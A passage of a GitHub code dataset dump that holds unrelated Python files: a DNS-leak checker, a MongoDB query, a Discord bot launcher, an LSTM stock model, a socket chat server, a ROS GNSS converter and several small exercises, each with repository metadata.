(content_length is None) or (not chunk):\n out_handle.write(response.content)\n else:\n chunk_size = 256\n bars = int(int(content_length) / chunk_size)\n\n progress_bar = tqdm.tqdm(response.iter_content(chunk_size=chunk_size),\n total=bars,\n unit='B',\n desc=url[url.rfind(\"/\") + 1:],\n leave=True)\n\n for data in progress_bar:\n out_handle.write(data)\n\n try:\n yield out_handle\n finally:\n out_handle.close()\n\n\ndef get_dns_info():\n \"\"\"Get DNS info retrieved from https://{hash}.ipleak.net/json/ where {hash} is a 40 char random hash.\"\"\"\n result = ''\n for _ in range(3):\n try:\n # Generate a random 40 char hash used for making ipleak do a 'mydns' query type\n dns_test_url = 'https://%032x.ipleak.net/json/\\n' % random.getrandbits(160)\n print('\\nRetrieving DNS info\\n{0}'.format(dns_test_url))\n\n with download(dns_test_url, chunk=False, verbose=False) as ip_info_mem_file:\n data = ip_info_mem_file.getvalue()\n\n ip_dict = json.loads(data.decode('utf-8'), object_pairs_hook=collections.OrderedDict)\n\n result = ''\n error = False\n for k, v in ip_dict.items():\n if str(k).lower() == 'error':\n error = True\n break\n result += '{0}: {1}\\n'.format(color.Color.bold(k.replace('_', ' ').capitalize()), v or 'N/A')\n\n if not error:\n break\n except Exception:\n return ''\n\n return result\n","repo_name":"holthe/velarium","sub_path":"velarium/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":3167,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"26702996140","text":"# script to retrieve data from database\r\nfrom pymongo import MongoClient\r\n\r\ndef retrieve() :\r\n\r\n \"\"\" The function retrieve lists the first 50 records of the MongoDB nse. \"\"\"\r\n # Usage of try-catch block to establish connection to MongoDB\r\n try:\r\n client = MongoClient('localhost', 27017)\r\n print(\"connection established\")\r\n except:\r\n print(\"Could not connect\")\r\n\r\n # Assigning database and collection\r\n db = client.nse\r\n mycol = db.test\r\n\r\n # Fetching data from database and limiting the entries to 50\r\n for record in mycol.find().limit(50):\r\n print(record)\r\n\r\n return None\r\n\r\nprint(\"The below line is a docstring\")\r\nprint(retrieve.__doc__)\r\n\r\n# Calling the retrieve function\r\nretrieve()\r\n\r\n","repo_name":"bhargavisreevathsa/Coding-Task-on-MongoDB","sub_path":"Retrieval.py","file_name":"Retrieval.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36389072660","text":"import os\nfrom discord.ext import commands\n\nfrom config.log_config import log\nfrom config.config import parser\n\nif __name__ == \"__main__\":\n directory = os.path.dirname(os.path.abspath(__file__))\n prefix = parser.get(\"DEFAULT\", \"prefix\")\n\n log.info(\"봇을 활성화 하고 있습니다.\")\n if parser.getboolean(\"DEFAULT\", \"AutoShard\"):\n log.info(\"Config 파일에서 AutoShard가 켜져있습니다. AutoShard 기능을 킵니다.\")\n bot = commands.AutoShardedBot(command_prefix=prefix)\n else:\n bot = commands.Bot(command_prefix=prefix)\n\n cogs = [\"cogs.\" + file[:-3] for file in os.listdir(os.path.join(directory, \"cogs\")) if file.endswith(\".py\")]\n for cog in cogs:\n bot.load_extension(cog)\n\n token = parser.get(\"DEFAULT\", \"token\")\n bot.run(token)\n","repo_name":"gunyu1019/permission_bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"6362109124","text":"import datetime as dt\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import style\r\nimport pandas as pd\r\nimport numpy as np\r\nimport pandas_datareader.data as web\r\nimport plotly.express as px\r\nfrom sklearn.metrics import classification_report,accuracy_score\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.model_selection import train_test_split,TimeSeriesSplit,GridSearchCV\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nimport plotly.graph_objects as go\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom keras.models import Sequential, load_model\r\nfrom keras.layers import Dense,Dropout\r\nimport tensorflow as tf\r\nfrom keras import optimizers\r\nfrom keras.layers import LSTM\r\nfrom keras.preprocessing import sequence\r\nfrom keras.callbacks import EarlyStopping\r\nfrom project import StockPrediction\r\nimport math\r\nimport seaborn as sns\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\nget_ipython().run_line_magic('matplotlib', 'inline')\r\n\r\nclass LSTM_Models(StockPrediction):\r\n\r\n def lstm_model_results(self):\r\n df_google = self.create_raw_dataset('GOOG')\r\n df_apple = self.create_raw_dataset('AAPL')\r\n df_google = self.add_all_indicators(df_google,'Close','High','Low','Volume')\r\n df_apple = self.add_all_indicators(df_apple,'Close','High','Low','Volume')\r\n\r\n df_google['target'] = df_google['Adj Close']\r\n\r\n for x in range(len(df_google['Adj Close'])-1):\r\n if df_google['Adj Close'][x] < df_google['Adj Close'][x+1]:\r\n df_google['target'][x]=1\r\n else:\r\n df_google['target'][x]=-1\r\n\r\n df_apple['target'] = df_apple['Adj Close']\r\n\r\n for x in range(len(df_apple['Adj Close'])-1):\r\n if df_apple['Adj Close'][x] < df_apple['Adj Close'][x+1]:\r\n df_apple['target'][x]=1\r\n else:\r\n df_apple['target'][x]=-1\r\n\r\n df_apple=df_apple[99:-1].reset_index().drop('index',axis=1)\r\n df_google=df_google[99:-1].reset_index().drop('index',axis=1)\r\n\r\n X = np.array(df_apple[['Adj Close','macd', 'macd_signal', 'stoch', 'stoch_signal', 'roc', 'cci',\r\n 'adi','rsi','wr']])\r\n y = np.array(pd.get_dummies(df_apple['target'])[1.0])\r\n\r\n scaler = MinMaxScaler(feature_range=(-1,1))\r\n X = scaler.fit_transform(X)\r\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, shuffle=False)\r\n X_train = np.reshape(X_train, (X_train.shape[0], 1, X_train.shape[1]))\r\n X_test = np.reshape(X_test, (X_test.shape[0], 1, X_test.shape[1]))\r\n y_val = pd.get_dummies(df_google['target'])[1.0]\r\n y_val = y_val[3072:]\r\n\r\n model = load_model('aaplmodelcont.h5')\r\n acc = accuracy_score(y_val,model.predict_classes(X_test))\r\n\r\n print(f'LSTM accuracy for Google baseline approach: {100*acc:.2f}%')\r\n\r\n def create_lstm_model(self):\r\n df_google = self.create_raw_dataset('GOOG')\r\n df_apple = self.create_raw_dataset('AAPL')\r\n df_google = self.add_all_indicators(df_google,'Close','High','Low','Volume')\r\n df_apple = self.add_all_indicators(df_apple,'Close','High','Low','Volume')\r\n\r\n df_google['target'] = df_google['Adj Close']\r\n\r\n for x in range(len(df_google['Adj Close'])-1):\r\n if df_google['Adj Close'][x] < df_google['Adj Close'][x+1]:\r\n df_google['target'][x]=1\r\n else:\r\n df_google['target'][x]=-1\r\n\r\n df_apple['target'] = df_apple['Adj Close']\r\n\r\n for x in range(len(df_apple['Adj Close'])-1):\r\n if df_apple['Adj Close'][x] < df_apple['Adj Close'][x+1]:\r\n df_apple['target'][x]=1\r\n else:\r\n df_apple['target'][x]=-1\r\n\r\n df_apple=df_apple[99:-1].reset_index().drop('index',axis=1)\r\n df_google=df_google[99:-1].reset_index().drop('index',axis=1)\r\n\r\n X = np.array(df_apple[['Adj Close','macd', 'macd_signal', 'stoch', 'stoch_signal', 'roc', 'cci',\r\n 'adi','rsi','wr']])\r\n y = np.array(pd.get_dummies(df_apple['target'])[1.0])\r\n\r\n scaler = MinMaxScaler(feature_range=(-1,1))\r\n X = scaler.fit_transform(X)\r\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, shuffle=False)\r\n X_train = np.reshape(X_train, (X_train.shape[0], 1, X_train.shape[1]))\r\n X_test = np.reshape(X_test, (X_test.shape[0], 1, X_test.shape[1]))\r\n y_val = pd.get_dummies(df_google['target'])[1.0]\r\n y_val = y_val[3072:]\r\n\r\n ad = optimizers.Adam(learning_rate=0.0001)\r\n model = Sequential()\r\n model.add(LSTM(16,return_sequences=False,input_shape=(1,9)))\r\n model.add(Dropout(0.2))\r\n model.add(Dense(1,activation='sigmoid'))\r\n model.compile(loss='binary_crossentropy', optimizer=ad, metrics=['accuracy'])\r\n model.fit(X_train, y_train, epochs=100, batch_size=32,validation_data=(X_test,y_test),shuffle=False)\r\n \r\n\r\n \r\n\r\n","repo_name":"hamzahalabi/Dissertation","sub_path":"LSTM.py","file_name":"LSTM.py","file_ext":"py","file_size_in_byte":5018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21153362051","text":"import multiprocessing\nimport os\nimport warnings\n\nimport allure\nimport ipdb\nimport pytest\nimport six\n\nfrom test_reusables.service.logger_level import LogLevel\nfrom utils.logger import log, get_log_file_name, get_log_file_directory, get_log_file_path\n\nwarnings.filterwarnings(\"ignore\")\n\n\ndef pytest_addoption(parser):\n \"\"\"\n Fetches addoption from CLI\n \"\"\"\n parser.addoption(\"--env\", action=\"store\", required=False, default=\"test\",\n help=\"Environment arguments. Eg: --env test\")\n parser.addoption(\"--api_retry_limit\", action=\"store\", required=False, default=\"1\",\n help=\"API retry limit - if we get 500 in any API it will retry Eg: --api_retry_limit 1\")\n parser.addoption(\"--log_level\", action=\"store\", required=False, default=\"DEBUG\",\n help=\"Logging level Eg: --log_level DEBUG/INFO/WARN/ERROR\")\n parser.addoption(\"--api_wait_time\", action=\"store\", required=False, default=\"30\",\n help=\"Wait Time in seconds for API Eg: --api_wait_time DEBUG/INFO/WARN/ERROR\")\n\n\ndef pytest_configure(config):\n \"\"\"\n Prerequisites which needs to done in Before Suite\n \"\"\"\n os.environ[\"env\"] = config.getoption(\"--env\")\n os.environ[\"api_retry_limit\"] = config.getoption(\"--api_retry_limit\")\n os.environ[\"log_level\"] = config.getoption(\"--log_level\")\n os.environ[\"api_wait_time\"] = config.getoption(\"--api_wait_time\")\n\n\n@pytest.hookimpl(tryfirst=True, hookwrapper=True)\ndef pytest_runtest_makereport(item, call):\n \"\"\"\n To store add test result in the log\n \"\"\"\n outcome = yield\n rep = outcome.get_result()\n # if rep.when == 'call':\n # if '_response' in getattr(item, 'fixturenames', ()):\n # ipdb.set_trace()\n if rep.when == 'call' and rep.outcome == 'passed':\n log(\"=============== TEST RESULT ====> \" + rep.outcome + \" ===============\", LogLevel.INFO)\n allure.attach.file(get_log_file_path(), get_log_file_name(), allure.attachment_type.TEXT)\n if rep.outcome == 'failed':\n log(f\"=============== Setup Result ====> {rep.outcome} >>> ===============\", LogLevel.ERROR)\n log(f\"=============== Failure Reason ==> {str(call.excinfo)} ===============\", LogLevel.ERROR)\n allure.attach.file(get_log_file_path(), get_log_file_name(), allure.attachment_type.TEXT)\n elif rep.outcome == \"skipped\":\n log(\"=============== Skipping Reason ==> \" + str(call.excinfo) + \" ===============\", LogLevel.WARNING)\n allure.attach.file(get_log_file_path(), get_log_file_name(), allure.attachment_type.TEXT)\n\n\n","repo_name":"Dookiee/no_code_framework","sub_path":"tests/step_definitions/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20192918913","text":"class Category:\n def __init__(self, score, sortType, count, page_offset):\n self.score = score\n self.sortType = sortType\n self.count = count\n self.page_offset = page_offset\n\nuse_proxy = False\ncategories = [\n Category(3, 5, 800, 0),\n Category(1, 5, 100, 0)\n]\n","repo_name":"ErrEqualsNil/SEDesign","sub_path":"PythonPart/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28295155930","text":"# Allows to run program with streamlit for fast testing\n\nfrom main import run_llm\nimport streamlit as st\nfrom streamlit_chat import message\nfrom langchain.memory import ConversationBufferMemory\n\n# sets streamlit to wide mode\nst.set_page_config(layout=\"wide\")\n\nst.header(\"Omnivox Digital Assistant\")\n\nprompt = st.text_input(\"Prompt\", placeholder=\"Enter your prompt here...\")\n\nif \"chat_history\" not in st.session_state:\n st.session_state[\"chat_history\"] = []\n\nif \"agent_memory\" not in st.session_state:\n st.session_state[\"agent_memory\"] = ConversationBufferMemory(memory_key=\"chat_history\", return_messages=True)\n\n\nif prompt:\n with st.spinner(\"Generating Response\"):\n generated_response = run_llm(\n question=prompt, memory=st.session_state[\"agent_memory\"]\n )\n st.session_state[\"chat_history\"].append((prompt, generated_response))\n\n\nif st.session_state[\"chat_history\"]:\n for prompt, generated_response in st.session_state[\"chat_history\"]:\n message(prompt, is_user=True)\n message(generated_response, is_user=False)","repo_name":"yanis-falaki/omnivox-gpt","sub_path":"flask-server/core/streamlit.py","file_name":"streamlit.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21227872358","text":"import numpy as np\r\nimport pandas as pd\r\nimport nltk.data\r\nimport pickle\r\nfrom rank_bm25 import BM25L\r\n\r\ndef rank(query):\r\n PM_Articles = pd.read_csv(\"data/PM classified data/Final_PM_Reduced.csv\", encoding='latin1')\r\n\r\n\r\n corpus = []\r\n\r\n tokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\r\n\r\n Title = PM_Articles['Title']\r\n #Abstract = PM_Articles['Abstract']\r\n NCT_ID = PM_Articles['NCT ID']\r\n\r\n gene = \"BRAF (V600E)\"\r\n\r\n\r\n for article in PM_Articles.Abstract.apply(lambda row: row.lower()):\r\n corpus.extend(tokenizer.tokenize(article))\r\n\r\n\r\n\r\n embedding_file = \"models/PM_Articles_DistilledBert_reduced.emb\"\r\n with open(embedding_file, mode='rb') as emb_f:\r\n corpus_embeddings = pickle.load(emb_f)\r\n\r\n bm25 = BM25L(corpus)\r\n tokenized_gene = gene.split(\" \")\r\n BM25_Score = bm25.get_scores(tokenized_gene) * 2\r\n query_embeddings = bm25.get_scores(query)\r\n query_embeddings=np.array([elemnts*query_embeddings for elemnts in np.ones(768, dtype = int)]).T\r\n topk=10\r\n score_corpus = np.sum(query_embeddings * corpus_embeddings, axis=1) / np.linalg.norm(corpus_embeddings, axis=1)\r\n results=[]\r\n score_list=[]\r\n Title1=[]\r\n topk_idx = np.argsort(score_corpus)[::-1][:topk]\r\n\r\n i = 0\r\n for idx in topk_idx:\r\n i = i + 1\r\n score = score_corpus[idx] + BM25_Score[idx]\r\n results.append('https://clinicaltrials.gov/ct2/show/' + NCT_ID[idx] + '?term=' + NCT_ID[idx] + '&draw=2&rank=1 ')\r\n score_list.append(score)\r\n Title1.append(Title[idx])\r\n return results, score_list, query, Title1\r\n","repo_name":"Owaiskhan9654/Search-using-Corpus-embeddings-Generated-from-Sentence-Transformers-and-BM25-Gene-Score-BRAF-V600E","sub_path":"ranking.py","file_name":"ranking.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"26387050257","text":"# author: Somsubhra Bairi (201101056)\n\n# Draws a polyhedron by cutting corners of cube\n# Controls: UP - rotate up\n# DOWN - rotate down\n# LEFT - rotate left\n# RIGHT - rotate right\n\n# OpenGL imports for python\ntry:\n from OpenGL.GL import *\n from OpenGL.GLU import *\n from OpenGL.GLUT import *\nexcept:\n print(\"OpenGL wrapper for python not found\")\n\n\n# The cube class\nclass Cube:\n\n # Constructor for the cube class\n def __init__(self):\n self.rotate_y = 0.0\n self.rotate_x = 0.0\n self.scale = 2.0\n\n # Initialize\n def init(self):\n # Set background to black\n glClearColor(0.0, 0.0, 0.0, 0.0)\n\n # Set the shade model to flat\n glShadeModel(GL_FLAT)\n\n # Draw half of the cube with corners cut\n def draw_half(self, mirror):\n\n # The plane equations cutting corners of cube\n eqn = [-1.0, 0.0, 0.0, 0.0]\n eqn1 = [1.0, 1.0, 1.0, 1.25]\n eqn2 = [1.0, -1.0, 1.0, 1.25]\n eqn3 = [1.0, 1.0, -1.0, 1.25]\n eqn4 = [1.0, -1.0, -1.0, 1.25]\n eqn5 = [-1.0, 1.0, 1.0, 1.25]\n\n # Set the color to white\n glColor3f(1.0, 1.0, 1.0)\n\n # Reset the matrix\n glLoadIdentity()\n\n # Set the camera\n gluLookAt(0.0, 0.0, 5.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0)\n\n if mirror:\n glScalef(-self.scale, self.scale, self.scale)\n glRotatef(-self.rotate_y, 0.0, 1.0, 0.0)\n else:\n glScalef(self.scale, self.scale, self.scale)\n glRotatef(self.rotate_y, 0.0, 1.0, 0.0)\n\n glRotatef(self.rotate_x, 1.0, 0.0, 0.0)\n\n # Draw solid cube\n glutSolidCube(1.0)\n\n # Draw a red wire cube to highlight the background\n glColor3f(1.0, 0.0, 0.0)\n glutWireCube(1.0)\n\n # Clip the corners of the cube with these equations\n glClipPlane(GL_CLIP_PLANE0, eqn1)\n glEnable(GL_CLIP_PLANE0)\n\n glClipPlane(GL_CLIP_PLANE1, eqn2)\n glEnable(GL_CLIP_PLANE1)\n\n glClipPlane(GL_CLIP_PLANE2, eqn3)\n glEnable(GL_CLIP_PLANE2)\n\n glClipPlane(GL_CLIP_PLANE3, eqn4)\n glEnable(GL_CLIP_PLANE3)\n\n glClipPlane(GL_CLIP_PLANE4, eqn5)\n glEnable(GL_CLIP_PLANE4)\n\n # Cut the cube into half\n glClipPlane(GL_CLIP_PLANE5, eqn)\n glEnable(GL_CLIP_PLANE5)\n\n glFlush()\n\n # The display function\n def display(self):\n glClear(GL_COLOR_BUFFER_BIT)\n\n # Draw half the cube with corners cut\n self.draw_half(False)\n\n # Draw a mirror image of the above half cube\n self.draw_half(True)\n\n # The reshape function\n def reshape(self, w, h):\n glViewport(0, 0, GLsizei(w), GLsizei(h))\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n glFrustum(-1.0, 1.0, -1.0, 1.0, 1.5, 20.0)\n glMatrixMode(GL_MODELVIEW)\n\n # The keyboard controls\n def special(self, key, x, y):\n\n # Rotate cube according to keys pressed\n if key == GLUT_KEY_RIGHT:\n self.rotate_y += 5\n if key == GLUT_KEY_LEFT:\n self.rotate_y -= 5\n if key == GLUT_KEY_UP:\n self.rotate_x += 5\n if key == GLUT_KEY_DOWN:\n self.rotate_x -= 5\n glutPostRedisplay()\n\n\n# The main function\ndef main():\n\n # Initialize OpenGL\n glutInit(sys.argv)\n\n # Set display mode\n glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB)\n\n # Set size and position of window size\n glutInitWindowSize(400, 400)\n glutInitWindowPosition(100, 100)\n\n # Create window with given title\n glutCreateWindow(\"Cube\")\n\n # Instantiate the cube\n cube = Cube()\n\n cube.init()\n\n # The callback for display function\n glutDisplayFunc(cube.display)\n\n # The callback for reshape function\n glutReshapeFunc(cube.reshape)\n\n # The callback function for keyboard controls\n glutSpecialFunc(cube.special)\n\n # Start the main loop\n glutMainLoop()\n\n# Call the main function\nif __name__ == '__main__':\n main()\n","repo_name":"openai/neural-mmo","sub_path":"jsuarez/tools/gl.py","file_name":"gl.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","stars":1496,"dataset":"github-code","pt":"37"} +{"seq_id":"9950991388","text":"from socket import *\nfrom threading import Thread\nimport json\nimport datetime\nimport time\nimport configparser\nfrom cryptography.fernet import Fernet\n\n\ndef accept_connections():\n while True:\n client, client_address = SERVER.accept()\n print('%s:%s has connected.' % client_address)\n address = '%s:%s' % (client_address[0], client_address[1])\n Thread(target=start_client, args=(client, address)).start()\n\n\ndef start_client(client, address):\n today = datetime.datetime.today()\n client_msg = client.recv(RRR).decode('utf8')\n msg = decrypt(client_msg)\n name = msg[list(msg.keys())[0]]\n name_correct = True\n while True:\n for clients_name in clients:\n if name == clients_name:\n name_correct = False\n client.send(encrypt('Falcon with the same name already exists'))\n time.sleep(1)\n client.send(encrypt('Type your name in msg line and press enter!'))\n client_msg = client.recv(RRR).decode('utf8')\n msg = decrypt(client_msg)\n name = msg[list(msg.keys())[0]]\n break\n else:\n name_correct = True\n if name_correct:\n break\n\n client.send(encrypt('Welcome %s!' % name))\n msg = '%s landed!' % name\n broadcast(msg)\n clients[name] = client\n time.sleep(1)\n reload_clients()\n\n while True:\n client_msg = client.recv(RRR).decode('utf8')\n msg = decrypt(client_msg)\n send_name = list(msg.keys())[0]\n if send_name != '' and send_name != 'All falcons':\n name_not_found = True\n while True:\n for client_name in clients:\n if send_name == client_name:\n name_not_found = False\n if name != send_name:\n clients[client_name].send(encrypt('[' + today.strftime(\"%H:%M:%S\") + '] ' + name +\n '->Me: ' + msg[send_name]))\n client.send(encrypt('[' + today.strftime(\"%H:%M:%S\") + '] Me->' + send_name +\n ': ' + msg[send_name]))\n else:\n client.send(encrypt('I don’t know why you did it, but...'))\n client.send(encrypt('[' + today.strftime(\"%H:%M:%S\") + '] Me->Me: ' + msg[send_name]))\n break\n if name_not_found:\n client.send(encrypt('[' + today.strftime(\"%H:%M:%S\") + '] ' + send_name + ' not found'))\n break\n break\n else:\n msg_to_send = msg[send_name]\n if msg_to_send != '[{esc}]':\n client.send(encrypt('[' + today.strftime(\"%H:%M:%S\") + '] Me: ' + msg_to_send))\n broadcast_without_address(name, msg_to_send, name + ': ')\n else:\n del clients[name]\n broadcast('%s flew away.' % name)\n reload_clients()\n client.close()\n break\n\n\ndef broadcast(msg, prefix=''):\n today = datetime.datetime.today()\n for client in clients:\n if client != 'All falcons':\n clients[client].send(encrypt('[' + today.strftime(\"%H:%M:%S\") + '] ' + prefix + msg))\n\n\ndef broadcast_without_address(name, msg, prefix=''):\n today = datetime.datetime.today()\n for client in clients:\n if name != client:\n if client != 'All falcons':\n clients[client].send(encrypt('[' + today.strftime(\"%H:%M:%S\") + '] ' + prefix + msg))\n\n\ndef reload_clients():\n for client in clients:\n if client != 'All falcons':\n clients[client].send(encrypt(json.dumps({'reload_clients': list(clients.keys())})))\n\n\ndef decrypt(msg):\n client_crypt_msg = json.loads(msg)\n client_cipher = Fernet(bytes(list(client_crypt_msg.keys())[0], 'utf8'))\n msg = json.loads(client_cipher.decrypt(bytes(client_crypt_msg[list(client_crypt_msg.keys())[0]], 'utf8')).decode('utf8'))\n return msg\n\n\ndef encrypt(server_msg):\n client_msg = bytes(server_msg, 'utf8')\n crypt_msg = server_cipher.encrypt(client_msg)\n send_crypt_msg = {server_key.decode('utf8'): crypt_msg.decode('utf8')}\n msg = bytes(json.dumps(send_crypt_msg), 'utf8')\n return msg\n\n\nclients = {'All falcons': ''}\n\nRRR = 1024\nserver_key = Fernet.generate_key()\nserver_cipher = Fernet(server_key)\n\nSERVER = socket(AF_INET, SOCK_STREAM)\n\nconfig = configparser.ConfigParser()\nconfig.read('socket_server.ini')\n\nIP_ADD = config['SETTING']['IP_ADD']\nPORT = int(config['SETTING']['PORT'])\n\nSERVER.bind((IP_ADD, PORT))\n\nif __name__ == \"__main__\":\n SERVER.listen(100)\n print(\"Waiting for connection...\")\n ACCEPT_THREAD = Thread(target=accept_connections)\n ACCEPT_THREAD.start()\n ACCEPT_THREAD.join()\n SERVER.close()","repo_name":"monter220/First_step","sub_path":"socket_server.py","file_name":"socket_server.py","file_ext":"py","file_size_in_byte":4922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8317206507","text":"from app.models import URL\nimport requests\n\n\ndef get_count_words(url):\n total_words = 0\n try:\n print('starting task')\n resp = requests.get(url)\n total_words = len(resp.text.split())\n print(total_words)\n print('task ended')\n except Exception as exception:\n print('[Error in get count words Tasks:]', exception)\n return total_words\n\n\ndef save_url(url):\n try:\n total_words = get_count_words(url)\n URL().create_entry(url, total_words)\n return True\n except Exception as exception:\n print('[Error in save url tasks:]', exception)\n return False\n","repo_name":"shubhamxaio/webpage-reader","sub_path":"app/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72492012908","text":"# https://atcoder.jp/contests/abc118/tasks/abc118_c\nimport sys\ndef input(): return sys.stdin.readline().rstrip()\n\ndef gcd(m, n):\n if n == 0:\n return m\n else:\n return gcd(n, m % n)\n\ndef main():\n _ = int(input())\n A = tuple(map(int, input().split()))\n\n ans = A[0]\n for a in A[1:]:\n ans = gcd(ans, a)\n print(ans)\n \nif __name__ == '__main__':\n main()\n","repo_name":"tttokiooo/AtCoder_python","sub_path":"ABC101_200/ABC118/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29878793842","text":"import sys\nimport signal\nimport numpy as np\nimport rclpy\n\nfrom std_msgs.msg import Int8, Int64\nfrom ublox_msgs.msg import NavSAT\nfrom mf_localization_msgs.msg import MFNavSAT\n\n\nclass UbloxConverter:\n def __init__(self, min_cno, min_elev, num_sv_threshold_low, num_sv_threshold_high):\n self.min_cno = min_cno\n self.min_elev = min_elev\n self.num_sv_threshold_low = num_sv_threshold_low\n self.num_sv_threshold_high = num_sv_threshold_high\n\n def count_active_sv(self, sv):\n count = 0\n for s in sv:\n cno = s.cno\n elev = s.elev\n if self.min_cno <= cno and self.min_elev <= np.abs(elev):\n count += 1\n return count\n\n def convert_count_to_status(self, count):\n if count < self.num_sv_threshold_low:\n return MFNavSAT.STATUS_INACTIVE\n elif count < self.num_sv_threshold_high:\n return MFNavSAT.STATUS_INTERMEDIATE\n else:\n return MFNavSAT.STATUS_ACTIVE\n\n\nclass UbloxConverterNode:\n def __init__(self, node, min_cno, min_elev, num_sv_threshold_low, num_sv_threshold_high):\n self.node = node\n self.ublox_converter = UbloxConverter(min_cno, min_elev, num_sv_threshold_low, num_sv_threshold_high)\n self.navsat_sub = self.node.create_subscription(NavSAT, \"navsat\", self.navsat_callback, 10)\n self.num_active_sv_pub = self.node.create_publisher(Int64, \"num_active_sv\", 10)\n self.status_pub = self.node.create_publisher(Int8, \"sv_status\", 10)\n self.mf_navsat_pub = self.node.create_publisher(MFNavSAT, \"mf_navsat\", 10)\n\n def navsat_callback(self, msg: NavSAT):\n num_sv = msg.num_svs\n\n num_active_sv = self.ublox_converter.count_active_sv(msg.sv)\n sv_status = self.ublox_converter.convert_count_to_status(num_active_sv)\n\n count_msg = Int64()\n count_msg.data = num_active_sv\n self.num_active_sv_pub.publish(count_msg)\n\n status_msg = Int8()\n status_msg.data = sv_status\n self.status_pub.publish(status_msg)\n\n mf_navsat_msg = MFNavSAT()\n mf_navsat_msg.num_sv = num_sv\n mf_navsat_msg.num_active_sv = num_active_sv\n mf_navsat_msg.sv_status = sv_status\n self.mf_navsat_pub.publish(mf_navsat_msg)\n\n\ndef main():\n rclpy.init()\n node = rclpy.create_node(\"ublox_converter\")\n min_cno = node.declare_parameter(\"min_cno\", 30).value\n min_elev = node.declare_parameter(\"min_elev\", 15).value\n num_sv_threshold_low = node.declare_parameter(\"num_sv_threshold_low\", 5).value\n num_sv_threshold_high = node.declare_parameter(\"num_sv_threshold_high\", 10).value\n\n UbloxConverterNode(node, min_cno, min_elev, num_sv_threshold_low, num_sv_threshold_high)\n\n rclpy.spin(node)\n\n\ndef receiveSignal(signal_num, frame):\n print(\"Received:\", signal_num)\n sys.exit(0)\n\n\nsignal.signal(signal.SIGINT, receiveSignal)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"CMU-cabot/cabot-navigation","sub_path":"mf_localization/script/ublox_converter.py","file_name":"ublox_converter.py","file_ext":"py","file_size_in_byte":2933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41286486817","text":"import requests\nfrom urllib.parse import quote, quote_plus\n\ndef _2_3(url):\n res = requests.get(url)\n params={\"status_code\": res.status_code, \"status_message\": res.reason,\n \"header\": res.headers, \"request\": res.request, \"request_header\": res.headers,\n \"contents\": res.text}\n return params\n\ndef _2_4(url, string):\n res = requests.get(url)\n params = {\"url\": res.request.url, \"text\": res.text, \"quote\": url+quote(string, safe=''), \"quote_plus\": url+quote_plus(string)}\n return params","repo_name":"blackpopo/basics_and_practice_of_scraping","sub_path":"chapter2/chapter2_exe.py","file_name":"chapter2_exe.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11211737967","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n-------------------------------------------------\r\n File Name: plot_loss_change\r\n Description :\r\n Author : DrZ\r\n date: 2021/2/4\r\n-------------------------------------------------\r\n Change Activity:\r\n 2021/2/4:\r\n-------------------------------------------------\r\n\"\"\"\r\nimport re\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# search epoch data\r\nreg = re.compile('\\s+\\d+\\s+\\d+.\\d+\\s+\\d+.\\d+\\s+\\d+.\\d+\\n')\r\n\r\nloss_list = []\r\nenergy_list = []\r\nforce_list = []\r\nwith open('pyamff.log', 'r') as f:\r\n for line in f:\r\n result = reg.search(line)\r\n if result is not None:\r\n result = result.group().strip()\r\n result = re.split('\\s+', result)\r\n loss = result[1]\r\n energy = result[2]\r\n force = result[3]\r\n loss_list.append(float(loss))\r\n energy_list.append(float(energy))\r\n force_list.append(float(force))\r\n\r\nx = [i for i in range(1, len(loss_list)+1)]\r\n# energy\r\nplt.figure()\r\nplt.plot(x, energy_list)\r\nplt.xticks(fontsize=12)\r\nplt.yticks(fontsize=12)\r\nplt.xlabel('Epoch', size=14)\r\nplt.ylabel('Energy RMSE', size=14)\r\nplt.annotate(s=str(np.round(energy_list[-1], 2)), xy=(x[-1], 